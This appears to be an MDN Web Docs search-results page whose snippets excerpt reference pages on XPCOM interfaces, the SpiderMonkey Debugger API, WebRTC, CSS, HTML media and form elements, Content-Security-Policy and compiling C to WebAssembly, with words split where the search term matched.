...also provides a safeelementat() accessor. as of gecko 8, safeelementat() is now directly available on nstarray for arrays instantiated with pointer types. some other arrays: fallibletarray, autofallibletarray, infallibletarray, autoinfallibletarray, nstobserverarray, nsautotobserverarray. ...
... is now directly available on nstarray for arrays instantiated with pointer types. some other arrays: fallibletarray, autofallibletarray, infallibletarray, autoinfallibletarray, nstobserverarray, nsautotobserverarray. ...
...And 9 more matches
Components.utils.evalInWindow
the result is structured cloned back to the original context, unless it is native (for example, if it returns a dom node, this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably. this is useful for privileged code, such as add-on code, to access variables and apis defined in web content. ...
...hat through an xraywrapper already), so it's guaranteed to behave predictably. this is useful for privileged code, such as add-on code, to access variables and apis defined in web content. ...
...in the content's context, so the caller has to be prepared for the possibility that the content could have redefined behavior (for example, a setter in the scr
ipt may have been redefined to do something unexpected). this function is made available as a global in sandboxes which have the wantexporthelpers option set in the sandbox() constructor. syntax var result = components.utils.evalinwindow(scr
ipt, window); parameters scr
ipt : string the scr
ipt to evaluate in the other window. window : object the window in which to evaluate the scr
ipt. returns the result of evaluating the scr
ipt. if this is just native (for example, a dom node), then the function relies on xraywrappers to wrap the returned content, otherwise the result is structured-cloned. this does impose some restric...
...And 9 more matches
nsCAutoString
rs. ...
...ring for wide characters nscautostring for narrow characters method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat str
ipchars str
ipwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operat...
... methods constructors void nscautostring() - source constructors void nscautostring(char) - source parameters char c void nscautostring(const char*, pruint32) - source parameters char* data pruint32 length void nscautostring(const nscautostring&) - source parameters nscauto...
...And 9 more matches
imgIEncoder
modules/libpr0n/public/imgiencoder.idlscr
iptable please add a summary to this article. ...
...add a summary to this article. ...
... article. ...
...And 9 more matches
mozIStorageConnection
it is the primary interface for interacting with a database, including creating prepared statements, executing sql, and examining database errors. 1.0 68 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) for a general overview on how to use this interface, see storage. ...
...this will be false if the connection failed to open, or it has been closed. read only. databasefile nsifile the current database nsifile. null if the database connection refers to an in-memory database. read only. lasterror long the last sqlite error code that occurred. r...
... connection failed to open, or it has been closed. read only. databasefile nsifile the current database nsifile. null if the database connection refers to an in-memory database. read only. lasterror long the last sqlite error code that occurred. read only. note: this is not reliable if you are using asynchronous statements or if you are using the connection on mult
iple threads. lasterrorstring autf8string the english error string reported by the sqlite library for the last sqlite operation. read only. note: this is not reliable if you are using asynchronous statements or if you are using the connection on mult
iple threads. lastinsertrowid long long the row id from the last sql insert operation. read only. note: this...
...And 9 more matches
nsIJSON
however, you should use native json instead if at all possible. implemented by: @mozilla.org/dom/json;1. ...
...however, you should use native json instead if at all possible. implemented by: @mozilla.org/dom/json;1. ...
...however, you should use native json instead if at all possible. implemented by: @mozilla.org/dom/json;1. ...
...And 9 more matches
nsIWebProgressListener
uriloader/base/nsiwebprogresslistener.idlscr
iptable this interface is implemented by clients wishing to listen in on the progress associated with the loading of asynchronous requests in the context of a nsiwebprogress instance as well as any child nsiwebprogress instances. inherits from: nsisupports last changed in gecko 15 (firefox 15 / thunderbird 15 / seamonkey 2.12) nsiwebprogress describes the parent-child relationsh
ip of nsiwebprogress instances. method overview void onlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags); void onprogresschange(in nsiwebprogress awebprogress, in nsirequest arequest, in long acurselfprogress, in long amaxselfprogress, in long acurtotalprogress, in ...
... that requests may transition through as they are being loaded. these flags are mutually exclusive. for any given request, onstatechange() is called once with the state_start flag, zero or more times with the state_transferring flag or once with the state_redirecting flag, and then finally once with the state_stop flag. note: for document requests, a second state_stop is generated (see the descr
iption of state_is_window for more details). constant value descr
iption state_start 0x00000001 this flag indicates the start of a request. this flag is set when a request is initiated. the request is complete when onstatechange() is called for the same request with the state_stop flag set. state_redirecting 0x00000002 this flag indicates that a request i...
... this flag indicates the completion of a request. the astatus parameter to onstatechange() indicates the final status of the request. state type flags these flags further describe the entity for which the state transition is occurring. these flags are not mutually exclusive (that is an onstatechange() event may indicate some combination of these flags). constant value descr
iption state_is_request 0x00010000 this flag indicates that the state transition is for a request, which includes but is not limited to document requests. (see below for a descr
iption of document requests.) other types of requests, such as requests for inline content (for example images and stylesheets) are considered normal requests. state_is_document 0x00020000 t...
...And 9 more matches
Getting Started Guide
don't worry; the getting started guide is short. introduction what is nscomptr? nscomptr is a tool to help prevent leaks. nscomptr is a "smart pointer". it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at. nscomptr is smart in that, unlike a raw c++ pointer to an xpcom object, nscomptr manages addref, release, and queryinterface for you. ...
...c++ pointer to an xpcom object, nscomptr manages addref, release, and queryinterface for you. nscomptr is defined in the source files: xpcom/base/nscomptr.h xpcom/base/nscomptr.cpp ...though you probably don't want to look in there, just yet. with nscomptr, you can write code that is shorter, cleaner, clearer, and safer, than you can with raw xpcom interface pointers. xpcom basics: ownersh
ip and reference counting this is a quick refresher on some fundamental issues of xpcom. you should already know this, and should be able to just skim this short section. if this is unfamiliar material, you're not ready for nscomptrs yet. a good place to learn about the basic rules and reasoning behind com is in essential com by don box. don box gets into more of the details, traps, and pitfalls of...
...wning reference. it holds a stake in the underlying object. that object cannot go away until the owning reference has relinquished its claim. not all references need to be owning references. in fact, if two objects somehow end up owning each other (even transitively) it becomes difficult for either of those object to be reclaimed without adding some `out-of-band' mechanism for breaking the ownersh
ip cycle. the document some com ownersh
ip guidelines provides some hints on when ownersh
ip is needed. the following lists are good starting point, but by no means complete. you use an owning reference when you created the object; you got the object from a function that might have created it, e.g., any `getter' function, such as queryinterface, or createinstance. all good getters addref the inte...
...And 9 more matches
Working with data
there are several ways you can go about creating new cdata objects. creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes. ...
...he original object is simply duplicated directly into the new one. if type is an array type of unspecified length, the following steps are taken: if the value is a size value, a new array of that length is created, with its cells ready to accept values of the same type as those in the specified array. this is the same as new arraytype(type.elementtype, value). ...
... if none of these conditions are met, a typeerror is thrown. if type is ctypes.void_t, a typeerror is thrown. ...
...And 9 more matches
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee's memory use in various ways: it can mark each new object with the javascr
ipt call stack at which it was allocated. it can log all object allocations, yielding a stream of javascr
ipt call stacks at which allocations have occurred. it can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. ifdbg is a debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees' memory use. ...
...e a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. ifdbg is a debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees' memory use. the dbg.memory object is an instance of debugger.memory; its inherited accesors and methods are described below. allocation site tracking the javascr
ipt engine marks each new object with the call stack at which it was allocated, if: the object is allocated in the scope of a global object that is a debuggee of some debugger instancedbg; and dbg.memory.trackingallocationsites is set to true. a bernoulli trial succeeds, with probability equal to the maximum of d.memory.allocationsamplingprobability of all debugger instances d that...
...ability of all debugger instances d that are observing the global that this object is allocated within the scope of. given a debugger.object instancedobj referring to some object, dobj.allocationsite returns a saved call stack indicating wheredobj's referent was allocated. allocation logging ifdbg is a debugger instance, and dbg.memory.trackingallocationsites is set to true, then the javascr
ipt engine logs each object allocated bydbg's debuggee code. you can retrieve the current log by calling dbg.memory.drainallocationslog. you can control the limit on the log's size by setting dbg.memory.maxallocationsloglength. censuses a census is a complete traversal of the graph of all reachable memory items belonging to a particular debugger's debuggees. it produces a count of those items, bro...
...And 9 more matches
Debugger-API - Firefox Developer Tools
the debugger interface mozilla's javascr
ipt engine, spidermonkey, provides a debugging interface named debugger which lets javascr
ipt code observe and man
ipulate the execution of other javascr
ipt code. both firefox's built-in developer tools and the firebug add-on use debugger to implement their javascr
ipt debuggers. however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on. debugger has three essential qualities: it is a source level interface: it operates in terms of the javascr
ipt language, not machine language. ...
... and the firebug add-on use debugger to implement their javascr
ipt debuggers. however, debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on. debugger has three essential qualities: it is a source level interface: it operates in terms of the javascr
ipt language, not machine language. it operates on javascr
ipt objects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. if you have a strong command of the javascr
ipt language, you should have all the background you need to use debugger successfully, even if you have never looked into the language's implementation. it is for use by javascr
ipt code. jav...
...jects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. if you have a strong command of the javascr
ipt language, you should have all the background you need to use debugger successfully, even if you have never looked into the language's implementation. it is for use by javascr
ipt code. javascr
ipt is both the debuggee language and the tool implementation language, so the qualities that make javascr
ipt effective on the web can be brought to bear in crafting tools for developers. as is expected of javascr
ipt apis, debugger is a sound interface: using (or even misusing) debugger should never cause gecko to crash. errors throw proper javascr
ipt exceptions. it is an intra-thread debuggin...
...And 9 more matches
Web Console remoting - Firefox Developer Tools
tab navigation to listen to the tab navigation events you also need to attach to the tab actor for the given tab. the tabnavigated notification comes from tab actors. prior to firefox 20 the web console actor provided a locationchange listener, with an associated locationchanged notification. this is no longer the case: we have made changes to allow the web console clien...
...24. send http requests starting with firefox 25 you can send an http request using the console actor: { "to": "conn0.console9", "type": "sendhttprequest", "request": { "url": "http://localhost", "method": "get", "headers": [ { name: "header-name", value: "header value", }, // ... ], }, } the response packet is a network event actor gr
ip: { "to": "conn0.console9", "eventactor": { "actor": "conn0.netevent14", "starteddatetime": "2013-08-26t19:50:03.699z", "url": "http://localhost", "method": "get" "isxhr": true, "private": false } } you can also use the webconsoleclient.sendhttprequest(request, onresponse) method. the request argument is the same as the request object in the above example request p...
...": "2013-08-26t19:50:03.699z", "url": "http://localhost", "method": "get" "isxhr": true, "private": false } } you can also use the webconsoleclient.sendhttprequest(request, onresponse) method. the request argument is the same as the request object in the above example request packet. page errors page errors come from the nsiconsoleservice. ...
...And 9 more matches
AudioProcessingEvent - Web APIs
type read only domstring the type of event. ...
... type read only domstring the type of event. ...
...is it possible to cancel the event? playbacktime read only double the time when the audio will be played, as defined by the time of audiocontext.currenttime inputbuffer read only audiobuffer the buffer containing the input audio data to be processed. the number of channels is defined as a parameter, numberofinputchannels, of the factory method audiocontext.createscr
iptprocessor(). note the the returned audiobuffer is only valid in the scope of the onaudioprocess function. outputbuffer read only audiobuffer the buffer where the output audio data should be written. the number of channels is defined as a parameter, numberofoutputchannels, of the factory method audiocontext.createscr
iptprocessor(). note the the returned audiobuffer is only val...
...And 9 more matches
GlobalEventHandlers.onmousemove - Web APIs
the onmousemove property of the globaleventhandlers mixin is an eventhandler that processes mousemove events. the mousemove event fires when the user moves the mouse. syntax target.onmousemove = functionref; value functionref is a function name or a function expression. the function receives a mouseevent object as its sole argument. examples toolt
ips this example creates link toolt
ips that follow your mouse. ...
...ve event fires when the user moves the mouse. syntax target.onmousemove = functionref; value functionref is a function name or a function expression. the function receives a mouseevent object as its sole argument. examples toolt
ips this example creates link toolt
ips that follow your mouse. it uses the onmousemove, onmouseover, and onmouseout event handlers. ...
...r moves the mouse. syntax target.onmousemove = functionref; value functionref is a function name or a function expression. the function receives a mouseevent object as its sole argument. examples toolt
ips this example creates link toolt
ips that follow your mouse. it uses the onmousemove, onmouseover, and onmouseout event handlers. ...
...And 9 more matches
Pointer events - Web APIs
other than the normal hit test result of the pointer's location. pointer event a dom event fired for a pointer. interfaces the primary interface is the pointerevent interface which has a constructor plus several event types and associated global event handlers. the standard also includes some extensions to the element and navigator interfaces. the following sub-sections contain short descr
iptions of each interface and property. pointerevent interface the pointerevent interface extends the mouseevent interface and has the following properties. (all of the following properties are read only .) pointerid a unique identifier for the pointer causing the event. width the width (magnitude on the x axis), in css pixels, of the contact geometry of the pointer. height the height (mag...
.... pointertype indicates the device type that caused the event (mouse, pen, touch, etc.) isprimary indicates if the pointer represents the primary pointer of this pointer type. event types and global event handlers pointer events have ten event types, seven of which have similar semantics to their mouse event counterparts (down, up, move, over, out, enter, and leave). below is a short descr
iption of each event type and its associated global event handler. event on event handler descr
iption pointerover onpointerover fired when a pointer is moved into an element's hit test boundaries. pointerenter onpointerenter fired when a pointer is moved into the hit test boundaries of an element or one of its descendants, including as a result of a ...
...ent. navigator extension the navigator.maxtouchpoints property is used to determine the maximum number of simultaneous touch points that are supported at any single point in time. examples this section contains examples of basic usage of using the pointer events interfaces. registering event handlers this example registers a handler for every event type for the given element. ...
...And 9 more matches
A basic 2D WebGL animation example - Web APIs
reate a canvas and within it render a rotating square using webgl. the coordinate system we use to represent our scene is the same as the canvas's coordinate system. that is, (0, 0) is at the top-left corner and the bottom-right corner is at (600, 460). vertex shader first, let's take a look at the vertex shader. ...
...) is at the top-left corner and the bottom-right corner is at (600, 460). vertex shader first, let's take a look at the vertex shader. its job, as always, is to convert the coordinates we're using for our scene into cl
ipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends from -1.0 to 1.0 regardless of the actual size of the context). ...
...we'll see that computation shortly. we're ...
...And 9 more matches
WebRTC API - Web APIs
he webrtc implementations across the environments supporting it. adapter.js also handles prefixes and other naming differences to make the entire webrtc development process easier, with more broadly compatible results. the library is also available as an npm package. to learn more about adapter.js, see improving compatibility using webrtc adapter.js. webrtc concepts and usage webrtc serves mult
iple purposes; together with the media capture and streams api, they provide powerful multimedia capabilities to the web, including support for audio and video conferencing, file exchange, screen sharing, identity management, and interfacing with legacy telephone systems including support for sending dtmf (touch-tone dialing) signals. connections between peers can be made without requiring any speci...
...nnection between the local computer and a remote peer. it is used to handle efficient streaming of data between the two peers. rtcdatachannel represents a bi-directional data channel between two peers of a connection. rtcdatachannelevent represents events that occur while attaching a rtcdatachannel to a rtcpeerconnection. the only event sent with this interface is datachannel. rtcsessiondescr
iption represents the parameters of a session. each rtcsessiondescr
iption consists of a descr
iption type indicating which part of the offer/answer negotiation process it describes and of the sdp descr
iptor of the session. rtcstatsreport provides information detailing statistics for a connection or for an individual track on the connection; the report can be obtained by calling rtcpeerconnection.g...
... an rtcerrorevent indicating that an error occurred on the rtcdtlstransport. this error will be either dtls-failure or fingerprint-failure. gatheringstatechange the rtcicetransport's gathering state has changed. icecandidate an rtcpeerconnectioniceevent which is sent whenever the local device has identified a new ice candidate which needs to be added to the local peer by calling setlocaldescr
iption(). icecandidateerror an rtcpeerconnectioniceerrorevent indicating that an error has occurred while gathering ice candidates. iceconnectionstatechange sent to an rtcpeerconnection when its ice connection's state--found in the iceconnectionstate property--changes. icegatheringstatechange sent to an rtcpeerconnection when its ice gathering state--found in the icegatheringstate property--ch...
...And 9 more matches
overflow - CSS: Cascading Style Sheets
s interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: overflow-x overflow-y syntax /* keyword values */ overflow: visible; overflow: hidden; overflow: cl
ip; overflow: scroll; overflow: auto; overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below. if two keywords are specified, the first applies to overflow-x and the second to overflow-y. otherwise, both overflow-x and overflow-y are set to the same value. v...
... overflow: hidden visible; /* global values */ overflow: inherit; overflow: initial; overflow: unset; the overflow property is specified as one or two keywords chosen from the list of values below. if two keywords are specified, the first applies to overflow-x and the second to overflow-y. otherwise, both overflow-x and overflow-y are set to the same value. values visible content is not cl
ipped and may be rendered outside the padding box. hidden content is cl
ipped if necessary to fit the padding box. no scrollbars are provided, and no support for allowing the user to scroll (such as by dragging or using a scroll wheel) is allowed. the content can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll conta...
...ay be rendered outside the padding box. hidden content is cl
ipped if necessary to fit the padding box. no scrollbars are provided, and no support for allowing the user to scroll (such as by dragging or using a scroll wheel) is allowed. the content can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container. cl
ip like for hidden, the content is cl
ipped to the element's padding box. the difference between cl
ip and hidden is that the cl
ip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not start a new formatting context. ...
...And 9 more matches
writing-mode - CSS: Cascading Style Sheets
within a block container. thus, it also determines the ordering of block-level content. syntax /* keyword values */ writing-mode: horizontal-tb; writing-mode: vertical-rl; writing-mode: vertical-lr; /* global values */ writing-mode: inherit; writing-mode: initial; writing-mode: unset; the writing-mode property is specified as one of the values listed below. the flow direction in horizontal scr
ipts is also affected by the directionality of that scr
ipt, either left-to-right (ltr, like english and most other languages) or right-to-left (rtl, like hebrew or arabic). values horizontal-tb for ltr scr
ipts, content flows horizontally from left to right. for rtl scr
ipts, content flows horizontally from right to left. the next horizontal line is positioned below the previous line. vertical-r...
...ected by the directionality of that scr
ipt, either left-to-right (ltr, like english and most other languages) or right-to-left (rtl, like hebrew or arabic). values horizontal-tb for ltr scr
ipts, content flows horizontally from left to right. for rtl scr
ipts, content flows horizontally from right to left. the next horizontal line is positioned below the previous line. vertical-rl for ltr scr
ipts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the previous line. for rtl scr
ipts, content flows vertically from bottom to top, and the next vertical line is positioned to the right of the previous line. ...
...y from right to left. the next horizontal line is positioned below the previous line. vertical-rl for ltr scr
ipts, content flows vertically from top to bottom, and the next vertical line is positioned to the left of the previous line. for rtl scr
ipts, content flows vertically from bottom to top, and the next vertical line is positioned to the right of the previous line. vertical-lr for ltr scr
ipts, content flows vertically from top to bottom, and the next vertical line is positioned to the right of the previous line. for rtl scr
ipts, content flows vertically from bottom to top, and the next vertical line is positioned to the left of the previous line. ...
...And 9 more matches
Creating a cross-browser video player - Developer guides
een apis and works across most major desktop and mobile browsers. as well as working fullscreen, the player features custom controls rather than just using the browser defaults. the player controls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. working example our example video player displays a cl
ip from an open source movie called tears of steel, and includes typical video controls. note: you can see the example running live, or check out the source code on github. html markup to start off with, let's take a look at the html that makes up the player. the video first of all the <video> element is defined, contained within a <figure> element that acts as the video container. to anyon...
... player. the video first of all the <video> element is defined, contained within a <figure> element that acts as the video container. to anyone familiar with html5 markup and the <video> element, there should be nothing here that surprises you. ...
... a <figure> element that acts as the video container. to anyone familiar with html5 markup and the <video> element, there should be nothing here that surprises you. ...
...And 9 more matches
Audio and Video Delivery - Developer guides
"320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"> <param name="movie" value="flashmediaelement.swf" /> <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> the process is very similar with video -- just remember to set isvideo=true in the flashvars value parameters. more options for fallbacks. ...
...er supports, then set the play-head 5 seconds in and attempt to play it. note: play will be ignored by most browsers unless issued by a user-initiated event. it's also possible to feed an <audio> element a base64 encoded wav file, allowing to generate audio on the fly: <audio id="player" src="data:audio/x-wav;base64,uklgrvc..."></audio> speak.js employs this technique. try the demo. ...
...eelement('audio'); audio.src = window.url.createobjecturl(new blob(data)); } settimeout(function() { rec.stop(); }, 5000); }) .catch(function onerror(error) { console.log(error.message); }); see mediarecorder api for more details. media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascr
ipt to generate media streams for playback. allowing javascr
ipt to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. encrypted media extensions (eme) encrypted media extensions is a w3c proposal to extend htmlmediaelement, providing apis to control playback of protected content. the api supports use cases ranging from simple clear key de...
...And 9 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
. no built-in functionality. allowed values are the same as the global lang attribute. ping a space-separated list of urls. when the link is followed, the browser will send post requests with the body ping to the urls. typically for tracking. referrerpolicy how much of the referrer to send when following the link. see referrer-policy for possible values and their effects. rel the relationsh
ip of the linked url as space-separated link types. target where to display the linked url, as the name for a browsing context (a tab, window, or <iframe>). the following keywords have special meanings for where to load the url: _self: the current browsing context. (default) _blank: usually a new tab, but users can configure browsers to open a new window instead. _parent: the parent browsi...
...le painting app with save link html <p>paint by holding down the mouse button and moving it. ...
...ntlistener('click', event => event.target.href = canvas.todataurl() ); result security and privacy <a> elements can have consequences for users' security and privacy. see referer header: privacy and security concerns for information. using target="_blank" without rel="noreferrer" and rel="noopener" makes the website vulnerable to window.opener api exploitation attacks (vulnerability descr
iption), although note that, in newer browser versions (e.g. firefox 79+) setting target="_blank" implicitly provides the same protection as setting rel="noopener". accessibility strong link text the content inside a link should indicate where the link goes, even out of context. inaccessible, weak link text a sadly common mistake is to only link the words "click here" or "here": <p> learn mo...
...And 9 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
the browser is not forced by the specification to follow the value of this attribute; it is a mere hint. src the url of the audio to embed. this is subject to http access controls. this is optional; you may instead use the <source> element within the audio block to specify the audio to embed. events event name fired when audioprocess the input buffer of a scr
iptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up to its end without stopping for content buffering. complete the rendering of an o...
...dly not forthcoming. suspend media data loading has been suspended. timeupdate the time indicated by the currenttime attribute has been updated. volumechange the volume has changed. waiting playback has stopped because of a temporary lack of data usage notes browsers don't all support the same file types and audio codecs; you can provide mult
iple sources inside nested <source> elements, and the browser will then use the first one it understands: <audio controls> <source src="myaudio.mp3" type="audio/mpeg"> <source src="myaudio.ogg" type="audio/ogg"> <p>your browser doesn't support html5 audio. here is a <a href="myaudio.mp4">link to the audio</a> instead.</p> </audio> we offer a substantive and thorough guide to media file ...
...udio</a> instead.</p> </audio> we offer a substantive and thorough guide to media file types and the audio codecs that can be used within them. also available is a guide to the codecs supported for video. other usage notes: if you don't specify the controls attribute, the audio player won't include the browser's default controls. ...
...And 9 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
u'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: radio buttons are similar to checkboxes, but with an important distinction -- radio buttons are grouped into a set in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. where mult
iple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow mult
iple values to be selected. value a domstring representing the value of the checkbox. events change and input supported common attributes checked idl attributes checked, indeterminate and value methods select() value a domstri...
... note: if a checkbox is unchecked when its form is submitted, there is no value submitted to the server to represent its unchecked state (e.g. value=unchecked); the value is not submitted to the server at all. ...
...ed to the server at all. if you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by javascr
ipt perhaps. ...
...And 9 more matches
<input type="number"> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. ...
...lect(), stepup(), stepdown() value any floating-point number, or empty. ...
...older attribute if you can. it is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. see labels and placeholders in <input>: the input (form input) element for more information. readonly a boolean attribute which, if present, means this field cannot be edited by the user. its value can, however, still be changed by javascr
ipt code directly setting the htmlinputelement.value property. note: because a read-only field cannot have a value, required does not have any effect on inputs with the readonly attribute also specified. step the step attribute is a number that specifies the granularity that the value must adhere to, or the special value any, which is described below. only values which are equal to the basis f...
...And 9 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
value of this attribute; it is a mere hint. src the url of the video to embed. this is optional; you may instead use the <source> element within the video block to specify the video to embed. width the width of the video's display area, in css pixels (absolute values only; no percentages). events event name fired when audioprocess the input buffer of a scr
iptprocessornode is ready to be processed. canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up to its end without stopping for content buffering. complete the rendering of an o...
...a is unexpectedly not forthcoming. suspend media data loading has been suspended. timeupdate the time indicated by the currenttime attribute has been updated. volumechange the volume has changed. waiting playback has stopped because of a temporary lack of data usage notes browsers don't all support the same video formats; you can provide mult
iple sources inside nested <source> elements, and the browser will then use the first one it understands. <video controls> <source src="myvideo.mp4" type="video/mp4"> <source src="myvideo.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="myvideo.mp4">link to the video</a> instead.</p> </video> we offer a substantive and thorough guide to media file...
...k to the video</a> instead.</p> </video> we offer a substantive and thorough guide to media file types and the guide to the codecs supported for video. also available is a guide to audio codecs that can be used with them. other usage notes: if you don't specify the controls attribute, the video won't include the browser's default controls; you can create your own custom controls using javascr
ipt and the htmlmediaelement api. see creating a cross-browser video player for more details. to allow precise control over your video (and audio) content, htmlmediaelements fire many different events. in addition to providing controllability, these events let you monitor the progress of both download and playback of the media, as well as the playback state and position. you can use the object-pos...
...And 9 more matches
Preloading content with rel="preload" - HTML: Hypertext Markup Language
we want. you will also need to specify: the path to the resource in the href attribute. the type of resource in the as attribute. ...
...e as attribute. ...
...ample might look like this (see our js and css example source, and also live): <head> <meta charset="utf-8"> <title>js and css preload example</title> <link rel="preload" href="style.css" as="style"> <link rel="preload" href="main.js" as="scr
ipt"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>bouncing balls</h1> <canvas></canvas> <scr
ipt src="main.js" defer></scr
ipt> </body> here we preload our css and javascr
ipt files so they will be available as soon as they are required for the rendering of the page later on. this example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <scr
ipt> elements in the same chunk of html as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger...
...And 9 more matches
CSP: default-src - HTTP
the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. ...
... the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. ...
... the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. ...
...And 9 more matches
Content-Security-Policy - HTTP
for more information, see the introductory article on content security policy (csp). ...
... for more information, see the introductory article on content security policy (csp). ...
...ertain resource types may be loaded. child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. connect-src restricts the urls which can be loaded using scr
ipt interfaces default-src serves as a fallback for the other fetch directives. font-src specifies valid sources for fonts loaded using @font-face. frame-src specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>. img-src specifies valid sources of images and favicons. manifest-src specifies valid sources of application manifest files. med...
...And 9 more matches
Digital audio concepts - Web media technologies
this guide is an overview examining how audio is represented digitally, and how codecs are used to encode and decode audio for use on the web. sampling audio audio is an inherently analog feature of the natural world. as an object vibrates, it causes the molecules surrounding it to vibrate as well. these molecules affect the ones adjacent to them, and so forth, propagating the vibration in the form of a wave outward from the source until the amplitude of the wave (its volume) fades away with distance. ...
...he faster the molecules vibrate, the higher the frequency of the wave. the higher the amplitude (height) of the wave, the louder the sound is at that instant. the shorter the wavelength (the closer together the crests of the wave are), the higher the frequency (or pitch) of the sound that's produced. computers, however, are digital. in order to represent a sound wave in a way computers can man
ipulate and work with (let alone transmit over a network), the sound has to be converted into a digital form. this process is called analog to digital conversion (a/d for short). the first factor affecting the fidelity of the captured audio is the audio bandwidth; that is, the range of audio frequencies the a/d converter is capable of capturing and converting into digital form. the audio bandwidth ...
... when listening to the audio. the lfe channels typically drive subwoofers and similar devices. monophonic audio has one channel, stereo sound has two channels, 5.1 surround sound has 6 channels (five standard and one lfe), and so forth. each audio frame is a data record that contains the samples for all of the channels available in an audio signal. the size of an audio frame is calculated by mult
iplying the sample size in bytes by the number of channels, so a single frame of stereo 16-bit audio is 4 bytes long and a single frame of 5.1 floating-point audio is 24 (4 bytes per sample mult
iplied by 6 channels). note: it's worth noting that some codecs will actually separate the left and right channels, storing them in separate blocks within their data structure. however, an audio frame is al...
...And 9 more matches
requiredFeatures - SVG: Scalable Vector Graphics
the requiredfeatures attribute takes a list of feature strings, with the individual strings separated by white space. it determines whether or not all of the named features are supported by the browser; if all of them are supported, the attribute evaluates to true end the element is rendered; otherwise, the attribute evaluates to false and the current element and its children are sk
ipped and thus will not be rendered. this provides a way to design svg that gracefully falls back when features aren't available. if the attribute is not present, then its implicit evaluated value is true. if a null string or empty string value is given to attribute requiredfeatures, the attribute is evaluate to false. requiredfeatures is often used in conjunction with the <switch> element. if requiredfeatures...
...aluated value is true. if a null string or empty string value is given to attribute requiredfeatures, the attribute is evaluate to false. requiredfeatures is often used in conjunction with the <switch> element. if requiredfeatures is used in other situations, it represents a simple switch on the given element whether to render the element or not. ...
...equiredfeatures is used in other situations, it represents a simple switch on the given element whether to render the element or not. to detect availability of an svg feature from scr
ipt, there is the (also deprecated) domimplementation.hasfeature() method. ...
...And 9 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web. these libraries often rely on c's standard library, an operating system, a file system and other things. emscr
ipten provides most of these features, although there are some limitations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. that's a pretty good starting point. ...
...ost of these features, although there are some limitations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. that's a pretty good starting point. $ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascr
ipt by writing a c file called webp.c: #include "emscr
ipten.h" #include "src/webp/encode.h" emscr
